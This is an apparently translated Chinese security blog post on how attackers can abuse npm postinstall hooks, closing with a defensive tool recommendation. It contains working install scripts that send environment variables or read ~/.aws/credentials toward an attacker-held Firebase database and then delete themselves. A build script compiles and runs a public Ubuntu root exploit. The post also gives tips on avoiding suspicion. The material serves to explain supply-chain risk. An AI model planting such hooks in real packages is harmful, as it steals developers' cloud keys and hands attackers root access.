濫用npm庫(kù)導(dǎo)致數(shù)據(jù)暗渡
前言
我們知道,像npm這樣的程序包和依賴庫(kù)管理器通常都允許命令執(zhí)行作為構(gòu)建過程的一部分。命令執(zhí)行為開發(fā)人員帶來了一個(gè)簡(jiǎn)單方便的機(jī)制,使得他們可以通過編寫腳本來完成構(gòu)建過程中的各種任務(wù)。例如,npm允許開發(fā)人員使用pre-install hook和post-install hook來執(zhí)行各種任務(wù)。在開始構(gòu)建之前,可以使用pre-install hook來編譯所需的本地庫(kù)。post-install hook可以用于構(gòu)建完成之后的清理工作。
在這篇博文中,我們將介紹攻擊者是如何利用npm從開發(fā)人員的機(jī)器中泄露情報(bào)的。雖然本文展示的攻擊場(chǎng)景是針對(duì)npm來說明的,但類似的攻擊也可以通過其他軟件包管理器來完成,比如gradle。
漏洞攻擊
為了證明數(shù)據(jù)滲漏的可行性,我們講介紹三種不同的情形。對(duì)于每種情形,攻擊者只需要取得已經(jīng)發(fā)布的npm包,然后設(shè)法讓開發(fā)人員使用npm install命令來安裝它就行了。
我們首先創(chuàng)建一個(gè)npm包,并使用package.json文件中的post-install hook來指定一個(gè)需要執(zhí)行的任務(wù)。該任務(wù)可以是shell腳本,甚至可以是另一個(gè)JavaScript程序。例如,如果我們希望在npm install命令之后運(yùn)行一個(gè)shell腳本build.sh,我們可以執(zhí)行以下操作:
- {
- "name": "a-legit-package",
- "version": "0.2.0",
- "description": "This package runs a script after installation",
- "main": "app.js",
- "scripts": {
- "postinstall": "sh build.sh"
- },
- ...
- }
如果我們想要運(yùn)行一個(gè)JavaScript任務(wù),假設(shè)該任務(wù)位于名為install.js的文件中,那么我們還可以將其添加到package.json并使用Node來運(yùn)行它,具體如下所示:
- {
- "name": "a-legit-package",
- "version": "0.2.0",
- "description": "This package runs a script after installation",
- "main": "app.js",
- "scripts": {
- "postinstall": "node install.js"
- },
- ...
- }
泄露環(huán)境變量
一旦我們獲得了在構(gòu)建過程中代表用戶執(zhí)行任務(wù)的能力,那么就可以利用它來泄露敏感信息,例如環(huán)境變量。例如,為了配置AWS CLI,需要設(shè)置以下環(huán)境變量:
- $ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
- $ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
- $ export AWS_DEFAULT_REGION=us-west-2
如果這些環(huán)境變量在開發(fā)人員構(gòu)建node.js項(xiàng)目時(shí)已經(jīng)存在,那么它們可能會(huì)被上傳到受攻擊者控制的位置。為了避免引起懷疑,不要將信息轉(zhuǎn)儲(chǔ)到一些容易引起懷疑的IP地址或潛在的可疑域,相反,我們可以使用流行后端作為服務(wù)來存放這些信息,例如Firebase。將下面顯示的JavaScript代碼段放入install.js文件中,在構(gòu)建之后就會(huì)運(yùn)行。這樣的話,它會(huì)將所有環(huán)境變量復(fù)制到Firebase數(shù)據(jù)庫(kù)。在退出進(jìn)程之前,clean()方法會(huì)從系統(tǒng)中刪除原始的install.js文件。這樣做的好處是,能夠確保在開發(fā)人員的機(jī)器上完成構(gòu)建之后,不會(huì)留下任何的痕跡。
- var fs = require('fs');
- var Firebase = require("firebase");
- var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
- var dbRef = ref.child("env_vars");
- dbRef.push({status : "leaked env vars", message : process.env}, clean());
- function clean(){
- try{
- fs.unlinkSync("install.js");
- }
- catch (ex){}
- process.exit(0);
- }
攻擊者可以監(jiān)控Firebase數(shù)據(jù)庫(kù)(https://abcde-fg-1234.firebaseio.com/),并通過捕獲的環(huán)境變量來查找包含AWS密鑰的變量:
泄漏敏感文件
如果AWS密鑰未存儲(chǔ)在環(huán)境變量中,攻擊者仍然可能通過其他方式來泄漏敏感信息。舉例來說,AWS配置指南建議使用?/ .aws / credentials文件來管理多個(gè)命名的配置文件。而這些命名的配置文件可能會(huì)存儲(chǔ)有多個(gè)AWS訪問密鑰。
- [default]
- aws_access_key_id=AKIAIOSFODNN7EXAMPLE
- aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
- [user2]
- aws_access_key_id=AKIAI44QH8DHBEXAMPLE
- aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY
由于構(gòu)建post-install任務(wù)時(shí)是以用戶的相應(yīng)權(quán)限來運(yùn)行的,因此可以將文件的內(nèi)容復(fù)制到攻擊者控制之下的位置。我們可以將install.js修改為下面這樣,從而捕獲憑證文件中的敏感信息:
- var fs = require('fs');
- var Firebase = require("firebase");
- var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
- var dbRef = ref.child("env_vars");
- var filepath = process.env.HOME+'/.aws/credentials';
- var data = fs.readFileSync(filepath,'utf8');
- dbRef.push({status : "leaked sensitive files", message : process.env}, clean());
- function clean(){
- try{
- fs.unlinkSync("install.js");
- }
- catch (ex){}
- process.exit(0);
- }
如果開發(fā)人員的機(jī)器上存在?/ .aws / credentials文件的話,則很可能會(huì)包含多個(gè)AWS密鑰。與前面的環(huán)境變量泄露漏洞相比,這種攻擊可能會(huì)導(dǎo)致更加敏感的信息泄漏問題。
本地權(quán)限提升
npm包還可以執(zhí)行針對(duì)底層系統(tǒng)的提權(quán)漏洞利用代碼。最近在ubuntu系統(tǒng)中發(fā)現(xiàn)的的一個(gè)漏洞(CVE-2015-1328),允許本地攻擊者利用overlayfs組件的缺陷獲取root。據(jù)報(bào)道稱:
“當(dāng)在上層文件系統(tǒng)目錄中創(chuàng)建新文件時(shí),overlayfs文件系統(tǒng)未能正確檢查此文件的權(quán)限。而這一缺陷則可以被內(nèi)核中沒有權(quán)限的進(jìn)程所利用,只要滿足該進(jìn)程CONFIG_USER_NS=y及overlayfs所擁有得FS_USERNS_MOUNT標(biāo)志,即允許掛載非特權(quán)掛載空間的overlayfs。而這一條件是Ubuntu 12.04、14.04、14.10和15.04版本中的默認(rèn)配置,所以這些版本的Ubuntu系統(tǒng)都受此漏洞影響。
ovl_copy_up_ *函數(shù)未能正確檢查用戶是否有權(quán)限向upperdir目錄寫入文件。而該函數(shù)唯一檢查的是被修改文件的擁有者是否擁有向upperdir目錄寫入文件的權(quán)限。此外,當(dāng)從lowerdir目錄復(fù)制一個(gè)文件時(shí),同時(shí)也就復(fù)制了文件元數(shù)據(jù),而并非文件屬性,例如文件擁有者被修改為了觸發(fā)copy_up_*程序的用戶。”
目前,該漏洞的利用代碼已經(jīng)被公開。該漏洞利用代碼(ofs.c)能夠在目標(biāo)機(jī)器上打開一個(gè)具有管理員權(quán)限的shell。攻擊者一旦獲得這個(gè)shell,就可以用它在系統(tǒng)中安裝永久性的后門。
我們知道,借助于npm中的post-install hook,像構(gòu)建和運(yùn)行這種漏洞利用代碼這樣的事情,簡(jiǎn)直是小菜一碟。攻擊者可以創(chuàng)建一個(gè)含有以下內(nèi)容的build.sh文件,并將其作為post-install任務(wù)來運(yùn)行。
- OS=`uname -s`
- if [ "$OS" = "Linux" ]
- then
- gcc ofs.c
- ./a.out
- else
- ...
- fi
安全影響
目前,所有流行的構(gòu)建和包管理器(gradle,maven,npm等)幾乎都允許執(zhí)行系統(tǒng)命令,因此,它們都會(huì)收到本文描述的安全漏洞的影響。就npm來說,最近發(fā)生了一次攻擊,攻擊者成功上傳了一個(gè)惡意軟件包,當(dāng)它作為node.js項(xiàng)目中的依賴庫(kù)添加時(shí),會(huì)刪除開發(fā)人員的主目錄。盡管之前就有人提醒npm模塊的這種安全問題,但遺憾是的,目前似乎還沒有簡(jiǎn)單的方法來防止這種攻擊。
像從用戶的主目錄中刪除文件這樣的直接攻擊是很容易檢測(cè)到的,通常也會(huì)引起人們的注意。然而,如果惡意行為更加隱蔽,例如本文介紹的靜默竊取信息或安裝后門這樣的攻擊,則可能更難以檢測(cè)和跟蹤。在npm上發(fā)布包是非常容易的事情,它只需要一個(gè)電子郵件驗(yàn)證即可。隨著開發(fā)人員數(shù)量的增加,以及越來越常見的安裝臨時(shí)包的行為,這種安全漏洞帶來的風(fēng)險(xiǎn)只會(huì)與日俱增。
安全對(duì)策
Build Inspector是一個(gè)用于連續(xù)集成環(huán)境的開源取證沙盒,您可以使用它來檢查CI環(huán)境。這個(gè)工具能夠監(jiān)控網(wǎng)絡(luò)活動(dòng),文件系統(tǒng)更改和運(yùn)行的進(jìn)程,從而更容易發(fā)現(xiàn)意外和潛在危險(xiǎn)的活動(dòng)。使用這個(gè)沙盒環(huán)境時(shí),構(gòu)建操作將在隔離的情況下進(jìn)行,從而不會(huì)影響機(jī)器。運(yùn)行Build Inspector時(shí),您將獲得構(gòu)建服務(wù)器上所有潛在危險(xiǎn)活動(dòng)的報(bào)告,您可以借此發(fā)現(xiàn)上面提到的安全隱患,從而進(jìn)一步做出相應(yīng)的處理。